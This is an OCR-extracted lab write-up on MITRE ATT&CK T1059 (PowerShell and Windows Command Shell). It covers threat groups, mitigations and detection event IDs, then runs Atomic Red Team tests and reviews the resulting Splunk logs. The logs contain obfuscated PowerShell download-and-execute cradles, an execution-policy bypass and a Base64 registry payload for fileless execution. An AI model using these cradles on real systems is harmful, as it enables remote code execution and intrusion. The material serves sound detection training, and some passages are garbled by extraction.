Command and Scripting Interpreter

What is a Command and Scripting Interpreter?

A command and scripting interpreter is an application that directly executes instructions written in a
programming or scripting language, without compiling them beforehand. Ol

Command Interpreters are also known as Shells, and you may be familiar with some from your studies
so far. These are:

e Windows:
e Command Prompt
e PowerShell
¢ Linux:
e Bash
e Bourne Shell (sh)

What s a Script?

A Script is a program that contains a series of commands that will be executed in sequence after the
program executes. A script does not need to be compiled before execution. Scripts are often used to
automate tedious and repetitive tasks.

Some common scripting languages that you may be familiar with:

e JavaScript
Python
Bash
PowerShell

Command and Scripting Interpreter Exploitation

Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries.
These interfaces and languages provide ways of interacting with computer systems and are a
common feature across many different platforms. [2]

According to the Red Canary 2022 Threat Detection Report, the exploitation of the Command and
Scripting Interpreter was ranked 1st, as the most exploited technique observed in 2021. Red Canary
observed this technique being exploited in 53.4% of organizations.



What MITRE ATTACK L] framework technique ID is applied to Command and Scripting Interpreter
Exploitation?

e The technique ID assigned to Command and Scripting Interpreter Exploitation is T1059
What type of tactic uses this technique?
Provide a name and a brief description of the Tactic that this technique falls under.

e Execution

Execution consists of techniques that result in adversary-controlled code running on a
local or remote system. Techniques that run malicious code are often paired with
techniques from all other tactics to achieve broader goals, like exploring a network or
stealing data. For example, an adversary might use a remote access tool to run a
PowerShell script that does Remote System Discovery.

- MITRE ATTACK Framework: Execution 4]
e [nitial Access

Initial Access consists of techniques that use various entry vectors to gain their initial
foothold within a network. Techniques used to gain a foothold include targeted spear
phishing and exploiting weaknesses on public-facing web servers. Footholds gained
through initial access may allow for continued access, like valid accounts and use of
external remote services, or may be limited-use due to changing passwords.

- MITRE ATTACK Framework: Initial Access |2
e Lateral Movement

Lateral Movement consists of techniques that adversaries use to enter and control
remote systems on a network. Following through on their primary objective often
requires exploring the network to find their target and subsequently gaining access to
it. Reaching their objective often involves pivoting through multiple systems and
accounts to gain. Adversaries might install their own remote access tools to
accomplish Lateral Movement or use legitimate credentials with native network and
operating system tools, which may be stealthier.

- MITRE ATTACK Framework: Lateral Movement 6!

The Command and Scripting Interpreter technique is primarily used as part of the Execution tactic. A
script may be embedded in a Phishing email as part of the Initial Access tactic. It can also be used to
access services configured for remote access using SSH or RDP, exploiting the Lateral Movement
tactic Remote Services to perform remote Execution.



Command and Scripting Interpreter Techniques & Sub-Techniques

The Command and Scripting Interpreter technique has 8 sub-techniques. They are listed as follows:

e T1059.001: PowerShell

e T1059.002: AppleScript

e T1059.003: Windows Command Shell
e T1059.004: Unix Shell

e T1059.005: Visual Basic

e T1059.006: Python

e T1059.007: JavaScript

e T1059.008: Network Device CLI

Of the 8 sub-techniques listed, two of them made the top 10 list of sub-techniques exploited. The
sub-techniques were ranked 1st and 2nd respectively. They were:

e T1059.001: PowerShell 1 (35% Organisations Affected)
« T1059.003: Windows Command Shell 18l (28.1% Organisations Affected)

We will focus on learning about these techniques.
T1059.001: PowerShell

Why do malicious actors use PowerShell?

PowerShell is a cross-platform task automation solution made up of a command-line shell, a scripting
language, and a configuration management framework. PowerShell runs on Windows, Linux, and
macOs. 2]

PowerShell is included by default with Windows and it is widely used by system administrators to
automate tasks and to perform remote management tasks.

What can Malicious Actors use PowerShell for?

PowerShell is an extremely powerful command line tool and due to it being shipped by default with
Windows machines and it's high use by Administrators, it has become popular with malicious actors.

Malicious actors can use PowerShell to:

e Execute Commands

e Evade Detection

e Obfuscate Malicious Activity

e Spawn Additional Processes

¢ Remotely Download and Execute Arbitrary Code and Binaries
e Gather Information

e Change System Configurations



Based on Red Canary's analysis of the commonalities between threats that leverage PowerShell, it was
found that the most common use of PowerShell is:

e As part of a toolkit, such as Cobalt Strike.

e Obfuscation, by using Base64 to encode malicious activity.

e To download payloads via cmdlets, as part of the Ingress Tool Transfer technique.
e To load and execute malicious DLLs.

¢ To facilitate process injection.

e To disable Windows Security Tools o]

e To decrypt malicious payloads.

Can you name any significant Groups that leverage PowerShell for malicious activity?

Groups are sets of related intrusion activity that are tracked by a common name in the
security community. Analysts track clusters of activities using various analytic
methodologies and terms such as threat groups, activity groups, threat actors,
intrusion sets, and campaigns. Some groups have multiple names associated with
similar activities due to various organizations tracking similar activities by different
names. Organizations' group definitions may partially overlap with groups designated
by other organizations and may disagree on specific activity.

- MITRE ATTACK Framework: Groups [l

This technique has been leveraged by some large cybercrime organizations, state actors and in
significant breaches over the past number of years.

Please provide the groups name, a brief description of the group and the exploit used.

Group Description Exploit Used
APT32 APT32 is a suspected Vietnam-based threat APT32 has used COM scriptlets to
group that has been active since at least 2014 download Cobalt Strike beacons

FIN7 is a financially-motivated threat group

that has been active since 2013 primarily FIN7 has used a PowerShell script to

FIN7 targeting the U.S. retail, restaurant, and launch shellcode that retrieved an
hospitality sectors, often using point-of-sale additional payload.
malware.

GALLIUM has used PowerShell for

GALLIUM is a group that has been active since execution to assist in lateral

GALLIUM  atleast 2012, primarily targeting high-profile movement as well as for dumping
telecommunications networks. credentials stored on compromised

machines.

Zeus Panda is a Trojan designed to steal
banking information and other sensitive
credentials for exfiltration.

Zeus Panda uses PowerShell to
download and execute the payload.

Zeus
Panda



What can you do to mitigate against PowerShell exploitation?
Please research mitigations and provide the type and a short description of the mitigation techniques.

ID Mitigation Description

. . Anti-virus can be used to automatically quarantine suspicious
M1049  Antivirus/Antimalware ya P

files.

M1045  Code Signing Where possible, only permit execution of signed scripts.
M1042 Disable or Remove Disable or remove any unnecessary or unused shells or
Feature or Program interpreters.

M1038  Execution Prevention Use application control where appropriate.
When PowerShell is necessary, restrict PowerShell execution

M1026 Privileged Account policy to administrators. Be aware that there are methods of
Management bypassing the PowerShell execution policy, depending on

environment configuration.

How can this type of attack be detected?

To combat PowerShell being used against you, actively monitoring for process starts and command
line activity will help detect threats.

e Monitor for the creation of execution policies by admin or system accounts using the Registry or
the command line.

¢ Monitor for encoding and obfuscation on the command line.

e Monitor for PowerShell activity in environments where PowerShell is not expected.

e Monitor for the execution of artifacts associated with PowerShell specific assemblies.

e An example of one is by writing your own C# program, that references the
System.Management.Automation.dll and can use the the DLLs functions to execute
PowerShell code. 112

e Enable PowerShell logging.

ID Data Source Data Component
DS0017  Command Command Execution
DS00M Module Module Load
DS0009 Process Process Creation

DS0012  Script Script Execution



Performing regular compromise assessments within an environment is also very beneficial to the
organization and can also help with detecting threats, both past and present.

Compromise assessments are high-level investigations where skilled teams utilize
advanced tools to dig more deeply into their environment to identify ongoing or past
attacker activity in addition to identifying existing weaknesses in controls and
practices.

- CrowdStrike 113!

These tests are usually performed by vulnerability scanners, and will assess the company's
infrastructure. The scans will usually incorporate searching for known Indicators of Compromise (I0C)
from recently investigated attacks.

An Indicator of Compromise (I0OC) is a piece of digital forensics that suggests that an
endpoint or network may have been breached. Just as with physical evidence, these
digital clues help information security professionals identify malicious activity or
security threats, such as data breaches, insider threats or malware attacks.

- CrowdStrike [14!

Indicators of Compromise includes:

Files Hashes

IP Addresses

Sign in Activity from unexpected countries.
Large volumes of sign in requests.

Log Collection

e Windows Security Event ID 1101: Antimalware-Scan-Interface (AMSI).

e Windows Security Event ID 4104: Scriptblock logging.

e Windows Security Event ID 400: PowerShell command-line logging.

e Windows Security Event IDs 800 and 4103: Module loading and Add-Type logging.

T1059.003: Windows Command Shell

Why do malicious actors use Windows Command Shell?

The Windows Command Shell (Command Prompt, cmd.exe) was the first shell incorporated into the
Windows Operating System. It can used to automate account management tasks and system backups,
via batch (.bat) files. 5]

The Command Shell is widely available on any machine running windows, and this makes it attractive
to adversaries. The ability to run scripts is also a big factor in the decision use the Command Shell.
The Command Shell also as the ability to call on most executable files, and run them.



What can Malicious Actors use the Windows Command Shell for?

Due to the prevalence of the Windows Command Shell across Windows machines and it's versatility in
being able to control many aspects of the system, it becomes a very attractive tool for adversaries.

Adversaries may leverage the Windows Command Shell to deliver malicious payloads, as well as many
other activities.

Malicious actors can use the Windows Command Shell to:

e Obfuscate Malicious Activity
e Collect System Information
e Modify Systems

e Execute Binaries

e Bypass Security Controls

As mentioned above, an adversary may use the Windows Command Shell to obfuscate their activity.
The goal of which is to delay the analysis, and bypass detection.

Some Obfuscation Techniques to be aware of:

e Environment Variable Substrings
e For Loops

e Double Quotes

e Caret Symbols

e Parentheses

e Commas

e Semicolons

e Random Variable Names

The Windows Command Shell also contains a built in command called type. This command allows the
user to display the contents of a file. [161 A user can redirect the output of this command using the
operators > and >>, thus avoiding using the copy command directly. [8-1]

Can you name any significant Groups that leverage Windows Command Shell for malicious
activity?

Groups are sets of related intrusion activity that are tracked by a common name in the
security community. Analysts track clusters of activities using various analytic
methodologies and terms such as threat groups, activity groups, threat actors,
intrusion sets, and campaigns. Some groups have multiple names associated with
similar activities due to various organizations tracking similar activities by different
names. Organizations' group definitions may partially overlap with groups designated
by other organizations and may disagree on specific activity.

- MITRE ATTACK Framework: Groups =11

This technique has been leveraged by some large cybercrime organizations, state actors and in
significant breaches over the past number of years.



Please provide the groups name, a brief description of the group and the exploit used.

Group

Babuk

Conti

Emotet

Lazarus
Group

Description

Babuk is a Ransomware-as-a-service (RaaS)
malware group that has been used since at
least 2021

Conti is a RaaS group that was first observed in
December 2019, and is responsible for the HSE
attack in 2021.

Emotet is a modular malware variant which is
primarily used as a downloader for other
malware variants such as TrickBot and IcedID.

Lazarus Group is a North Korean state-
sponsored cyber threat group that has been
attributed to the Reconnaissance General
Bureau.

Exploit Used

Babuk has the ability to use the
command line to control execution
on compromised hosts.

Conti can utilize command line
options to allow an attacker control
over how it scans and encrypts files.

Emotet has used cmd.exe to run a
PowerShell script.

Lazarus Group uses cmd.exe to
execute commands on victims

What can you do to mitigate against Windows Command Shell exploitation?

Please research mitigations and provide the type and a short description of the mitigation techniques.

ID
M1038

Execution Prevention

Mitigation

How can this type of attack be detected?

Description

Use application control where appropriate.

An analyst must always be aware of a user's role when they are investigating suspicious activity. As
such, an administrator using the Windows Command Shell to execute scripts might appear to align
with their role.

e Monitor accounts for Windows Command Shell activity, where this activity is not expected.
e Monitor for command line activity.

e Command Line arguments may be obfuscated.
e Monitor for Process Creation and unusual Parent-Process combinations.
e Monitor for Command Line activity attempting to bypass security controls.
e Monitor for task scheduling activity.

ID
DS0017
DS0009

Data Source Data Component

Command Command Execution

Process Process Creation



Performing regular compromise assessments within an environment is also very beneficial to the
organization and can also help with detecting threats, both past and present.

Compromise assessments are high-level investigations where skilled teams utilize
advanced tools to dig more deeply into their environment to identify ongoing or past
attacker activity in addition to identifying existing weaknesses in controls and
practices.

- CrowdStrike [13-11

These tests are usually performed by vulnerability scanners, and will assess the company's
infrastructure. The scans will usually incorporate searching for known Indicators of Compromise (I0C)
from recently investigated attacks.

An Indicator of Compromise (IOC) is a piece of digital forensics that suggests that an
endpoint or network may have been breached. Just as with physical evidence, these
digital clues help information security professionals identify malicious activity or
security threats, such as data breaches, insider threats or malware attacks.

- CrowdStrike [14-1]

Indicators of Compromise includes:

e Files Hashes

e |P Addresses

e Sign in Activity from unexpected countries.
e Large volumes of sign in requests.

Log Collection
Listed below are log events to track:

e Windows Security Event ID 4688: Process Creation.
e Sysmon Event ID 1: Process creation.
e Sysmon Event ID 11: File create.



Command and Scripting Interpreter Exploitation
Demonstration

In this section, we will demonstrate some of the tactics that can be performed with WMI and then to
view the logs to get an idea for what you should look for.

To help with this section, please open the GitHub link for the Atomic Red Team atomics page for the
sub-techniques PowerShell and the Windows Command Interpreter

e https://github.com/redcanaryco/atomic-red-
team/blob/master/atomics/T1059.001/T1059.001.md

e https://github.com/redcanaryco/atomic-red-
team/blob/master/atomics/T1059.003/T1059.003.md

T1059.001 - PowerShell

From the Atomic Red Team Github for the technique T1059.001: PowerShell shows that there are 21
automatic tests built into the Atomic Red Team toolset.

It may not be possible to run all the tests, however we will run a couple so that you can view any
relevant log information.

Step 1: Open Client Machine

e Open the Windows 10 machine connected to the Detection Lab configuration.
¢ Open PowerShell.

Step 2: Confirm that Invoke-AtomicTest is Installed

e Confirm that the Invoke-AtomicTest cmdlet is installed correctly. This command will install this
module.

Install-Module -Name invoke-atomicredteam,powershell-yaml -Scope CurrentUser

e Type A to confirm installing the Module.
¢ If the module is already installed, you will not be prompted to accept.

Further Reading about the installation process:

e https://github.com/redcanaryco/invoke-atomicredteam/wiki/lnstalling-Atomic-Red-Team

E¥ Windows PowerShell — O >

PS5 C:\Users\user> Install-Module invoke-atomicredteam, powershell-yaml CurrentUser

e modules from an untr
ue by running the Se

s to A11 [N] Mo [L] Mo to All [S] Suspend [2] Help (default is "


https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1059.001/T1059.001.md
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1059.003/T1059.003.md
https://github.com/redcanaryco/invoke-atomicredteam/wiki/Installing-Atomic-Red-Team

Step 3: Check the Prerequisites for T1059.001
¢ We need to confirm that all the prerequisites for the tests are available and installed correctly.

Invoke-AtomicTest T1059.001 -CheckPrereqs

e \We can see that nearly half of the tests do not have the required software installed.
Step 4: Get the Prerequisites for T1059.001
¢ Install the resources required to complete the relevant tests.

Invoke-AtomicTest T1059.001 -GetPrereqs

EN Windows PowerShell - O >

Enable temot i 3 ¢ e denied. To owershell with the "Run as administrator”
option.

At line:l char:s

+ & {Enable-
"

emoting], Invali ationException
ption,Micro t. ell.Commands .EnablePSRemotingCommand
ndLineParam

ndLineParameter must

must be installed an

ndLineParameter
e must be installed ell( andLineParameter must be ex
ameter -E
ule must be insta
e must be installed

cution

Step 5: Begin Testing

| will choose a select few tests to demonstrate the commands used to generate the logs. All the tests
can be executed at once, however | prefer to do it test-by-test.

Some tests are designed for Linux or Mac. Ensure that you are attempting to demonstrate the
Windows Tests.




Test #4 - Obfuscation Tests

This test covers the different methods of obfuscation that can be used with PowerShell. Upon a
successful execution, this should display 'SUCCESSFULLY EXECUTED POWERSHELL CODE FROM
REMOTE LOCATION?".

Show Test Details

e Firstly, use the -ShowDetails switch to print the details of the specific test to the screen.

Invoke-AtomicTest T1059.001 -TestNumbers 4 -ShowDetails

E¥ Windows PowerShell - O >

Using Logger: Defau
ds

All logging commanc

out to bit.ly/L3glt and disp

Execute Test

e Next, we will run the test.

Invoke-AtomicTest T1059.001 -TestNumbers 4

EN Windows PowerShell - O >

imik
running:

e As you can see from the screenshot above, the test executed successfully.



e Thebit[.]ly/L3gltCradle link resolves to a script containing the information to print to the
console.
e As per the screenshot above, it advises to use Invoke-Mimikatz, however | was unable to
get this to work successfully.
e The script is screenshot below.

Write-Host "THIS CRADLE WORKED!!!™ -NoNewlLine -ForegroundColor Yellow
Write-Host " --" -MoMewlLine -ForegroundColor White

Write-Host " SUCCESSFULLY EXECUTED POWERSHELL CODE FROM REMOTE LOCATION" -ForegroundColor Green

Function Inv” oke-Mimi®katz

1
Param(
[Parameter(ParameterSetName = "DumpCreds", Position = @)]
[Switch]
$DumpCreds
)
#hrite-Host "You shouldn't run Invoke-Mimikatz without express written consent from client.” -ForegroundColor Yellow
fMimikatzCoffechscii = "
((
1)
| 1
\ !
fResults = @)
$Results += "¥You shouldn’t run Invoke-Mimikatz without express written consent from client.”
fResults += fMimikatzCoffeeAscii
ZResults += "~ Mimikatz coffee ASCIT art."
$Results += "That Benjamin DELPY (@gentilkiwi) is a funny guy :)"
fResults += "Normally creds will be here, but you get the picture.”
Return $Results
}

Write-Host ""nFunction™ -MoMNewline -ForegroundColor White

Write-Host " Invoke-Mimikatz" -NoNewlLine -ForegroundColor Green

Write-Host " (tutorial version strictly for lulz) has now been set.” -ForegroundColor White
Write-Host "You can test it by running:™ -MoMewline -ForegroundColor White

Write-Host " Invoke-Mimikatz -DumpCreds™ -MoMewlLine -ForegroundColor Green

Write-host " (or" -NoNewlLine -ForegroundColor White

Write-Host " -DumpCr” -MNoMewlLine -ForegroundColor Green

Write-Host " for short). n™ -ForegroundColeor wWhite

e The bit[.]ly/L3glt link that was included in the test redirects to a PasteBin
(https://pastebin.com/wAgXiz8x) page containing a command:

Write-Host SUCCESSFULLY EXECUTED POWERSHELL CODE FROM REMOTE LOCATION -ForegroundColor Green

Logs

Next, open up the Splunk - Search & Reporting instance and begin searching for the log data
surrounding the inputted commands.

e Windows Security Event (400): index="wineventlog" EventCode=400


https://pastebin.com/wAqXiz8x

i

>

Time Event

4/23/22 04/23/2022 06:09:10 PM
6:09:10.000 PM LogName=Windows PowerShell
EventCode=400

EventType=.
ConputerName=winl@_windomain.local
SourceName=PowerShell
Type=Information
Recordhumber=52686
Keywords=Classic

TaskCategory=Engine Lifecycle
OpCode=Info

Message=Engine state is changed from None to Available

Details:
NewEngineState=available
PreviousEngineState=None

SequenceNumber=13

HostName=ConseleHost

HostVersion=5.1.18362.145

Host Id=baleSf26-97ed-4161-a8da- 3470567000

HostApplication=powershell exe & {(New-Object Net WebClient) DownloadFile('http://bit ly/L3g
(New-Object Net.WebClient) DownloadFile('http://bit.1y/L3gltCradle’, 'Default File Path psl'):[ScriptBlock
ttp://bit 1y/L3g1tCradle’ ;ST Variable: /GW 'Net WebClient';Set-Ttem Variable:\gH "Default_File Path psl';1ls _
‘ommand| G| 2{3_ Name-like" some'}) Na
-Item Variable: /HI1).Value, (GV gH).Value);&( ''.IsNormalized.ToString()[13,15,48]

%

_File_Path.psl')|ForEach-Object{[Char]$_}
[Char1$_3}))).InvokeReturnAsIs()

', 'Default_File_Path ps1');IEX((-Toin([I0 File]: -ReadAl1Bytes( ' Defau
reate((-Join([10.File]: :ReadAllBytes('Default_File Path.ps1')|FerEach-Obje
~#;Set-Variable 1g7 (.$ExecutionContext InvokeCommand. {(SExecutionContext. InuokeCommand PsObject Methods|?
). Invoke(*sw-+ct’, STRUE,1))(Get-ChildItem Variable:0W) Value);Set-Variable T {(((G igZ ~Val
oin’ ' }(-Join([Char[J](CAT -Ence 3 (GV g

Set-Variable HJ1
{3 Name-like'sCmat'}) Name). Invoke(SExecutionContext TnvokeCommand. (($ExecutionContext Tnvok

uedn)|GM) | 2{$_.Name-Like #wxixle'}).Name); Variable igZ -ValueOn).((ChildItem Variable:).Value).Invoke((

ariab

EngineVersion=5.1.18362.145
Runspaceld=343ae12-Tdf4-42ef-adad-ddd 16439553
Pipelineld=
CommandNane=
CommandType=
Seriptiame
CommandPath=

CommandLine=
Message = Engine state is changed from None to Available. Details: NewEngineState=Avail . | OpCode = Info

EventCode= 400 | EventType=4 | Keywords= Classic | LogName = Windows PowerShell
dve = winlQwindomain local dve_nt_host = winlQwindomain. local event_id = 52686

category - Engine Lifecycle
t

ComputerName = wint0windomain.local
RecordNumber = 52686 | SourceName = PowerShell | TaskCategery = Engine Lifecycle | Type = Information
host = winlOwindomain.local | id= 52686 | index = wineventlog | linecount=33 | punct=// i = —=.—— = i
source = WinEventLog:Windows PowerShell | sourcetype = WinEventLog | splunk_server = lagger

it | severity = informational | severity id=4 | signature id = 400

¢ Windows Security Event (4104): index="wineventlog" EventCode=4104

i Time Event

> 42322 €4/23/2022 06:09:10 PH
6:09:10.000 PM LogName=Microseft-Windows-PowerShell/Operational
EventCode=4104
EventType=3
ComputerName=winl®. windomain. local
User=NOT_TRANSLATED
1-3126794113-865277996-3442430372-1000

5id=5-1-5
SidType
SourceName=Microsoft-Hindows-Powershell

Type=Warning
RecoraNuher=54284

Keywords=None
TaskCategory=Execute s Remote Command

OpCode=0n create calls

Message=Creating Scriptblock text (1 of 1):

{(New-Object Net.WebClient) DownloadFile(’nttp://bit.ly/L3gltCradle”

efault_File_Path ps1');TEX((-Toin([10.File]: :ReadAllBytes( Default_File_Path.psl’)|ForEach-Object{[Char1s_}))}

(New-Object Net_WebClient).DownloaoFile(http://bit. ly/L3gitCradie’, 'Default_File_Path ps1');[ScriptBlock]::Create((-Join([I0.Fi ReadAl1Bytes(’Default_File_Path psl’)|ForEach-Object{[Char]$_}))} InvokeReturnAsIs()

Set-Variable HI1 p://bit 1y/L3gItCradle” ;ST Variable: /OW *Net WebClient';Set-Ttem Variable:\gH 'Default_File Path psl';ls _-%;Set-Variable igZ (.SExecutionContext. InvokeCommand. ((SExecutionContext. InvokeCommand.PsObject Methods|?
{$_Name-like'#Cm#t'}) Name). Invoke($ExecutionContext. InvokeCommand . (($ExecutionContext InvokeCommand|GM|7{$_ . Name-like' #om#e'}) Name) Invoke('sw-sct' s )0 hildItem Variable:@W). Value);Set-Variable J ((((! riable igZ -Val
weln)1GM) | 2{5_.Name-1ike "*w*itle'}).Name); Variable igZ -ValueOn).((ChildItem Variable:I).Value).Invoke((Get-Item Variable:/HJ1).Value,(GV g).Value);&( '’ .IsNormalized.ToString()[13,15,481-Join'')(-Join([Char[T](CAT ~Enco 3 (GV g

H).value) 1)}

ScriptBlock ID: £3379426-5720-4952-bA3a-36c08538d37e

Path
ing Scriptblock text {1 of 1): ((New-Object NetWebClient) DownloadFile(http.

Keywords = None | LogNarme = Microsoft-Windows-PowerShell/Operational | Message = Cre:
category = Execute a Remote Command | dve = winlOwindomain.local

= = [ J\u{( | severity = medium | severity id=3

ComputerName = winlQ.windomain.local EventCode = 4104 EventType =3
OpCode = On create calls | RecordNumber = 54284 | SourceName = MicrosoftWindows-PowerShell | TaskCategory = Execute a Remote Command | Type = Warning
dvc_nt_host = winl0windomainlocal event_id = 54284 | host = winlO.windomain.local id= 54284 | index = wineventlog linecount = 21 punct =/ <
signature id = 4104 | source = WinEventLog:Microsoft Windows-PowerShelliOperational | sourcetype = WinEventlog | splunk_server = logger

Test #8 - PowerShell XML Requests

This test covers a PowerShell method used to download and execute an XML from the internet. Upon
a successful execution of the test, this should display ‘Download Cradle test success!".

Show Test Details

o Firstly, use the -ShowDetails switch to print the details of the specific test to the screen.

Invoke-AtomicTest T1059.001 -TestNumbers 8 -ShowDetails



E¥ Windows PowerShell - O X

Using Logger: Default-ExecutionLogger
All logging commands found

Execute Test

e Next, we will run the test.

Invoke-AtomicTest T1059.001 -TestNumbers 8

e As you can see from the screenshot above, the test executed successfully.
e The link that was used to download the XML file was hosted on the Atomic Red Team Github.

<?xml version="1.8"2x
<command >
<ar
<executerwrite-host -ForegroundColor Cyan "$(Get-Date -Format s) Download Cradle test success! n"</execute:
<fax
</command >

Logs

Next, open up the Splunk - Search & Reporting instance and begin searching for the log data
surrounding the inputted commands.

e Windows Security Event (800): index="wineventlog"
https://raw.githubusercontent.com/redcanaryco/atomic-red-

team/master/atomics/T1059.001/src/test.xml EventCode=800



>

Time Event

04/23/2022 06:50:31 PM
Windows PowerShell

472322
6:50:31.000 PM

ComputerName=winl.windomain.local
SourceName=PowerShell

Type=Information

Recordhumber=57779

Keywords=Classic

TaskCategory=Pipeline Execution Details
OpCode=Info

Message=Pipeline execution details for command line

if (Stest executor command —ne Sfinal_command) { Write-KeyValue "Command (with inputs)

Context Information
DetailSequence=1
DetailTota

321

SequenceNumbe

UserId=WIN1@\vagrant
HosthName=ConsoleHost
HostVersion=5.1.18362.145
36280cfc-81af-def6-b.

321-827b3c0bd717
System32\WindowsPowerShell\v1 0\powershell exe

Runspaceld=b417 3027~ fede-4380-8bea-ca753b20de0a
Pipelineld=122
ScriptName=C:\Usersivagrant\Document s\WindowsPowerShel1\Modules\Invoke-AtomicRedTeany1.0.2
CommandLin if ($test. executor command —ne $final_command) { Write-KeyValue "Command (with inputs)

\Private\Show-Details psl
" $final_comand_trin() }

Details:
CommandInvocation(Write-KeyValue):
ParameterBinding(Arite-Kkeyval

"Write-KeyValue®
Command (with inputs)

name="key"; valu

name="value"; value=""C:\Nindows\Systen32\WindowsPowerShell\v] D\powershell exe"

ParaneterBinding(Arite-KeyVal
ryco/atomic-red-tean/master/atomics/T1059. 091 /sre/test xml'); $Xml. command . a.execute | IEX™"

EventCode = 800 : EventType= 4 | Keywords = Classic
- TaskCategory = Pipeline Execution Details
linecount =37 | punct= /1
splunk_server = logger

Loghame = Windows PowerShell | Message = Pipeline exex
category = Pipeline Execution Details

$. 8" | severity= info

ComputerName = winlQ.windomain.local
Type = Information

Re = 57779 Narm
host = winlOwindomain.local | id = 57779

source = WinEventLogWindows PowerShell

index= wineventiog
sourcetype = WinEventLog

e Windows Security Event (4103): index="wineventlog"
https://raw.githubusercontent.com/redcanaryco/atomic-red-

team/master/atomics/T1059.001/src/test.xml EventCode=4103

i Time Event

04/23/2022 06:50:31 PM
Loghame=M1crosof t-Windows-Powersnell/Operational

> 4/23/22
6:50:31.000 PM

ventCode=4103

ventType=d
n10. windomain. Local

ComputerNan
User=HOT_TRANSLATED
Sid=5-1-5-21-3126794119-865277996-3442430372-1000
SidType=0

Sour ceNane=Microsof t-Windows-PonerShell
Type=Information

RecordNumber=59425

Keywords=None

TaskCa xecuting Pipeline

on is just executing a method
“Mrite-KeyValue"
"Command (with inputs)

OpCode=To be used when oper
Message=CommandInvocation(Write-Keyvalue):
ParameterBinding(Write-keyvalue): name="key

5 value

C- \Windows\Sys tem32\WindowsPowerShell\vl B%powershell exe” -exec bypass -noprofile "$Xml

ParameterBinding(Write-KeyValue): name="value"; value:

ryco/atomic-red-team/master/atomics/T1059.081/sre/test. xml ' ); $Xnl.conmand . a.execute | IEX™"

Context
Severity = Informational
Host Name = ConscleHost
Host Version = 5.1.18362.145
Host ID = 36280cfe-B1af-4ef6-b321-827b9c060717

ndows\System32\WindowsPowerShel1\v] . 0 \powershell. exe

Host Application = C:\
Engine Version = 5.1.18362.145
Runspace ID = b41f3d27-fede-438b-Bbea-ca753b20de0a

Pipeline 1D = 122
Command Name = Write-Key
Command Type = Function

script Name \Users\vagrant\Documents\WindowsPowerShell\Modules\ Invoke-AtomicRedTean\1.0.2. 8\Private\Show-Details. psl
Command Path =
Sequence Number =
User = WINIO\vagrant

alue

57328

Connected Use
Shell ID = Microsoft.PowerShell

User Data
Keywords = None | LogName = Microsoft-Windows-PowerShell/Operational

SourceName = Microsoft Windows-PowerShell | TaskCategory =
id= 59425 | index = wineventiog

EventType = 4
RecordNumber = 59425
event_id = 59425 = winlO.windomain loc:
source = WinEventLog:Microsoft-Windows-PowerShell/Operational

ComputerName = winlQ.windomain.local | EventCode = 4103
OpCode = To be used when operation is just executing a method
dve_nt_host = winlOwindomair local
signature_id = 4103

dve = wintOwindomain local

severity = informational | severity_id = 4

Test #11 - PowerShell Fileless Script Execution

Execution of a PowerShell payload from the Windows Registry sim

ec bypass -noprofile "$Xml = (New-Ob

dve = winlOwindomain local

sourcetype = WinEventLog

n" $final_command_trim() }

ect System.Xml.XmlDocument);$Xml.Load('https://raw.githubusercontent. con/redcana

OpCode = Info

cution details for command line: if ($test executorcommand -ne $fin.
event_id = 57779

dve_nt_host = winlOwindomain local
signature_id = 800

rmational | severity_id = 4

s $ml . Load( " https://raw.githubusercontent. con/redcana

= (New-Object System Xnl.XmlDocur

"Write-Keyvalue"

Ke

Message = Commandinvocation
Executing Pipeline | Type = Information
linecount = 40 =_==

splunk_server = logger

category = Executing Pipeline

=t

punct =

ilar to that seen in fileless malware

infections. Upon execution, open "C:\Windows\Temp" and verify that art-marker.txt is in the folder.

Show Test Details

e Firstly, use the -ShowDetails switch to print the details of th

e specific test to the screen.



Invoke-AtomicTest T1059.001 -TestNumbers 11

-ShowDetails

EN Administrator: Windows PowerShell

Using Logger: Default
All logging comma

nup Commands:

Execute Test

e Next, we will run the test.

Invoke-AtomicTest T1059.001 -TestNumbers 11

EX Administrator: Windows PowerShell

Using Logger: Default-ExecutionLogger
ng commands found

malware infect

Logs

Next, open up the Splunk - Search & Reporting instance and begin searching for the log data

surrounding the inputted commands.

e Windows Process Creation Event (4688): index="wineventlog"

ComputerName="winl0.windomain.local" EventCode=4688

Process_Command_Line="\"C:\\Windows\\system32\\reg.exe\" add
HKEY_CURRENT_USER\\Software\\Classes\\AtomicRedTeam /v ART /t REG_SZ /d
U2VOLUNvbnR1bnQgLXBhdGggIiR1lbnY6U31zdGVtUmOvdCOUZWIWL2FydC1tYXIrZXIudHhOIiAtdmFsdWUgIkhlb

GxVvIGZyb20gdGh1lIEFOb21pYyBSZWQgVGVhbSI="



Time Event

> 424122 04/24/2022 03:55:21 AM
9:55:21.000 AM Logame=Security
EventCode=4688
EventType=0
Computerane=win1d.windomain. local
SourceName=Microsoft Windews security asuditing.
Type=Information
RecordNumber=88751
Keywords=Audit Success
TaskCategory=Process Creation
OpCode=Info
Message=A new process has been created.
Creator Subject:
Securi 5-1-5-21-3126794119-865277996-3442430372- 1000
Account Name: vagrant
Account Domain. WINI®
Logon ID: @x668CE/
Target Subject
Security ID £-1-0-0
Account Name: -
Account Domain: -
Logon ID: 0x0
Process Information
New Process ID. 0x12d8
s Name C: \WindowsSystem32\reg. exe
Elevation Type: R%1938
Label 5-1-16-12288
dows\ Systen32\WindowsPowerShell\v]_ 8\powershell exe
system32\reg.exe” add HKEY_CURRENT_USER\Sof tware\Classes\AtomicRedTeam /v ART /t REG_SI /d U2V@LUNvbnR1bnQgLXBhdGggliR1bnY6U312dGYtUMIvdCIUZWIWL2FYdC] tYXIrZXIuaHheliAtdnFsdWUgIknlbGxvIGZyb2@gdehl [EFOD2 1 pYyBSZWQE VGVhDSI-
Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Contrel policy
Type 1 is a full token with no privileges remeved or groups disabled. A full token nly used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.
Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configure
d to always require administrative privilege or to always reguire maximum privilege, and the user is a member of the Administrators group.
Type 3 is 2 limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not reguire administrative privilege, and the user does not choose to start the progra
n using Run as adninistrator_
i . —n n = Wy R 3 g n
e Sysmon Process Creation Event: index="sysmon" ComputerName="winl0.windomain.local
] —nu\nc. J n
